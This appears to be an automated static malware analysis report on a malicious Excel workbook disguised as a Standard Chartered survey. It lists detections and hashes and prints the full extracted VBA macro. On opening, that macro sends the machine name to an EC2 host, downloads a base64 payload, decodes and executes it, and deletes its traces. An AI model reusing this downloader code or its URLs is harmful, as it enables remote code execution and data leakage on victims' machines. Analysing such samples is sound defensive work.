Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 fdac5420920cc3d6…

MALICIOUS

Office (OOXML)

117.2 KB Created: 2021-07-27 11:27:33 UTC Authoring application: Microsoft Excel 12.0000 First seen: 2026-06-05
MD5: 0d14cbc350ce43f150dc027701c08019 SHA-1: 03578afd9901c8fedcba156b552aaf8f2d1faee3 SHA-256: fdac5420920cc3d609016776c28c59382245f7fa228a9d18e9a827819621b207
418 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample contains a VBA macro that utilizes WScript.Shell and CreateObject to download a file from a hardcoded URL to the temporary directory. The macro then attempts to save this downloaded content as 'survey.dat' and potentially execute it, indicating a downloader functionality. The presence of an Auto_Open macro and obfuscated shell commands further supports this malicious intent.

Heuristics 10

  • ClamAV: Doc.Downloader.Valyria-10026858-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Valyria-10026858-0
  • VBA project inside OOXML medium 7 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set s = CreateObject("WScript.Shell")
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
    Matched line in script
    Set s = CreateObject("WScript.Shell")
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    r.Write o.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set b = CreateObject("WScript.Network")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    a = Environ("Temp") & "\file.dat"
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ec2-3-66-213-57.eu-central-1.compute.amazonaws.com/standardchartered/survey/content/62-04-94-4E-A5-C8-A2-C7-53-FD-9B-C3-63-C4-B1-97 Referenced by macro
    • http://ec2-3-66-213-57.eu-central-1.compute.amazonaws.com/standardchartered/survey/submit/62-04-94-4E-A5-C8-A2-C7-53-FD-9B-C3-63-C4-B1-97Referenced by macro
    • http://ec2-3-66-213-57.eu-central-1.compute.amazonaws.com/standardchartered/survey/content/62-04-94-Referenced by macro
    • http://ec2-3-66-213-57.eu-central-1.compute.amazonaws.com/standardchartered/survey/content/62-04-94-4E-A5-C8-A2-C7-53-FD-9B-C3-63-C4-B1-97�Referenced by macro
    • http://ec2-3-66-213-57.eu-central-1.compute.amazonaws.com/standardchartered/survey/content/62-04-94-4E-A5-Referenced by macro

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 4131 bytes
SHA-256: 277fab77ab887c08e4f3ba6f3c78d6167ae5d1ea6ff2200bf6929c9e9a82de79
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Worksheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 1, 0, MSForms, TextBox"

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Sub Get_Survey()

Set b = CreateObject("WScript.Network")
c = b.ComputerName

' 62-04-94-4E-A5-C8-A2-C7-53-FD-9B-C3-63-C4-B1-97

Dim o
Set o = CreateObject("MSXML2.XMLHTTP")
o.Open "GET", "http://ec2-3-66-213-57.eu-central-1.compute.amazonaws.com/standardchartered/survey/content/62-04-94-4E-A5-C8-A2-C7-53-FD-9B-C3-63-C4-B1-97" & "?uid=" & c & "&seid=" & DateDiff("s", "1/1/1970 00:00:00", Now()), False
o.Send

Set r = CreateObject("ADODB.Stream")
r.Type = 1 'adTypeBinary
   
a = Environ("Temp") & "\file.dat"
b = Environ("Temp") & "\survey.dat"
d = Environ("Temp") & "\survey.dat.log1"
r.Open
r.Write o.responseBody
r.SaveToFile a, 2 'adSaveCreateOverWrite
Set r = Nothing

Set c = CreateObject("Scripting.FileSystemObject")
c.CopyFile a, b

Set fso = CreateObject("Scripting.Filesystemobject")
Set base_file = fso.OpenTextFile(b, 1)
Content = base_file.ReadAll()
base_file.Close
    
Set oXML = CreateObject("Msxml2.DOMDocument")
Set oNode = oXML.CreateElement("base64")
oNode.DataType = "bin.base64"
oNode.Text = Content
    
Set BinaryStream = CreateObject("ADODB.Stream")
BinaryStream.Type = 1
BinaryStream.Open
BinaryStream.Write oNode.nodeTypedValue
BinaryStream.SaveToFile d, 2

Set s = CreateObject("WScript.Shell")
s.Exec d
c.DeleteFile (a)
c.DeleteFile (b)

End Sub

Sub Post_Survey()

Set b = CreateObject("WScript.Network")
c = b.ComputerName

' 62-04-94-4E-A5-C8-A2-C7-53-FD-9B-C3-63-C4-B1-97

Dim o
Set o = CreateObject("MSXML2.XMLHTTP")
o.Open "POST", "http://ec2-3-66-213-57.eu-central-1.compute.amazonaws.com/standardchartered/survey/submit/62-04-94-4E-A5-C8-A2-C7-53-FD-9B-C3-63-C4-B1-97" & "?uid=" & c & "?seid=" & DateDiff("s", "1/1/1970 00:00:00", Now()), False
o.Send

Set r = CreateObject("ADODB.Stream")
r.Type = 1 'adTypeBinary
   
a = Environ("Temp") & "\output.dat"
b = Environ("Temp") & "\output.dat.log"
d = Environ("Temp") & "\survey.dat.log2"
r.Open
r.Write o.responseBody
r.SaveToFile a, 2 'adSaveCreateOverWrite
Set r = Nothing

Set c = CreateObject("Scripting.FileSystemObject")
c.CopyFile a, b

Set fso = CreateObject("Scripting.Filesystemobject")
Set base_file = fso.OpenTextFile(b, 1)
Content = base_file.ReadAll()
base_file.Close
    
Set oXML = CreateObject("Msxml2.DOMDocument")
Set oNode = oXML.CreateElement("base64")
oNode.DataType = "bin.base64"
oNode.Text = Content
    
Set BinaryStream = CreateObject("ADODB.Stream")
BinaryStream.Type = 1
BinaryStream.Open
BinaryStream.Write oNode.nodeTypedValue
BinaryStream.SaveToFile d, 2

Set s = CreateObject("WScript.Shell")
s.Exec d
c.DeleteFile (a)
c.DeleteFile (b)

End Sub

Sub Auto_Open()
    ActiveSheet.Shapes("fBox").Visible = False
    ActiveSheet.Shapes("fText").Visible = False
    ActiveSheet.Unprotect
    ActiveSheet.Range("A1", "Z40").Locked = True
    ActiveSheet.Range("E7", "E16").Locked = False
    ActiveSheet.Protect
    Get_Survey
End Sub

Sub Workbook_BeforeClose()
    ActiveSheet.Shapes("fBox").Visible = True
    ActiveSheet.Shapes("fText").Visible = True
    ActiveSheet.Unprotect
    ActiveSheet.Range("E7", "E16").Locked = True
    ActiveSheet.Protect
End Sub

Sub SendButton_Click()
    MsgBox Prompt:="Thank you for completing the survey! Your answers were submitted successfully.", Title:="Survey completed"
    Post_Survey
    ThisWorkbook.Saved = True
    Application.Quit
End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 17920 bytes
SHA-256: b9044d2804344e175809bbc9219388c7d9a4fb7fb620d7cde2ac06adc8554ac1
Detection
ClamAV: Doc.Downloader.Valyria-10026858-0
Obfuscation or payload: unlikely
emf_00.emf ooxml-emf OOXML EMF part: xl/media/image5.emf 1820 bytes
SHA-256: 347bad05f8ec3ccbc281659515c1c33d9398632018f961856b066f3570535cf9